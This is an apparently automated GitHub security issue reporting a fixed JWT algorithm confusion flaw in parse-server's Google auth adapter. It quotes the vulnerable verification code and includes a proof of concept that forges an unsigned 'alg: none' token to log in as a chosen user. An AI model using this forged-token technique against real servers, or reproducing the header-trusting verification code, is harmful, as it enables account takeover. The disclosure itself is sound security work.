[Vulnerability] parse-community/parse-server: JWT Algorithm Confusion

[github-actions]

Potential Security Vulnerability Detected

Repository: parse-community/parse-server
Commit: 9d5942d
Author: Manuel
Date: 2026-02-23T22:01:47Z

Commit Message

fix: JWT Algorithm Confusion in Google Auth Adapter ([GHSA-4q3h-vp4r-prv2](https://github.com/parse-community/parse-server/security/advisories/GHSA-4q3h-vp4r-prv2)) (#10072)

Pull Request

PR: #10072 - fix: JWT Algorithm Confusion in Google Auth Adapter (GHSA-4q3h-vp4r-prv2)
Labels: state:released, state:released-alpha

Description:

Pull Request

• Report security issues [confidentially](https://github.com/parse-community/parse-server/security/policy).
• Any contribution is under this [license](https://github.com/parse-community/parse-server/blob/alpha/LICENSE).

Issue

<!-- Describe the issue. -->

JWT Algorithm Confusion in Google Auth Adapter ([GHSA-4q3h-vp4r-prv2](GHSA-4q3h-vp4r-prv2)).

Tasks

<!-- Check completed tasks and delete tas...

Analysis

Vulnerability Type: JWT Algorithm Confusion
Severity: Critical

Description

The original code used the 'alg' field from the JWT header to select the verification algorithm when verifying Google, Apple, and Facebook ID tokens. This allowed an attacker to forge tokens by setting 'alg':'none' (or other inappropriate algorithms), bypassing signature verification and authenticating as any user. The patch fixes this by enforcing the 'RS256' algorithm explicitly and ignoring the token header's 'alg' field, preventing algorithm confusion attacks.

Affected Code

const { kid: keyId, alg: algorithm } = authUtils.getHeaderFromToken(token);
...
jwtClaims = jwt.verify(token, signingKey, {
  algorithms: algorithm,
  audience: clientId,
});

Proof of Concept

const header = Buffer.from('{"alg":"none","kid":"nonexistent-key","typ":"JWT"}').toString('base64url');
const payload = Buffer.from('{"sub":"victim_user_id","iss":"accounts.google.com","aud":"your_client_id","exp":9999999999}').toString('base64url');
const forgedToken = `${header}.${payload}.`;

await google.validateAuthData({ id: 'victim_user_id', id_token: forgedToken }, { clientId: 'your_client_id' });
// Before patch: token accepted despite lacking a valid signature, attacker authenticates as victim_user_id
// After patch: token verification fails, rejecting forged token.

---

This issue was automatically created by Vulnerability Spoiler Alert.
Detected at: 2026-03-01T15:54:00.850Z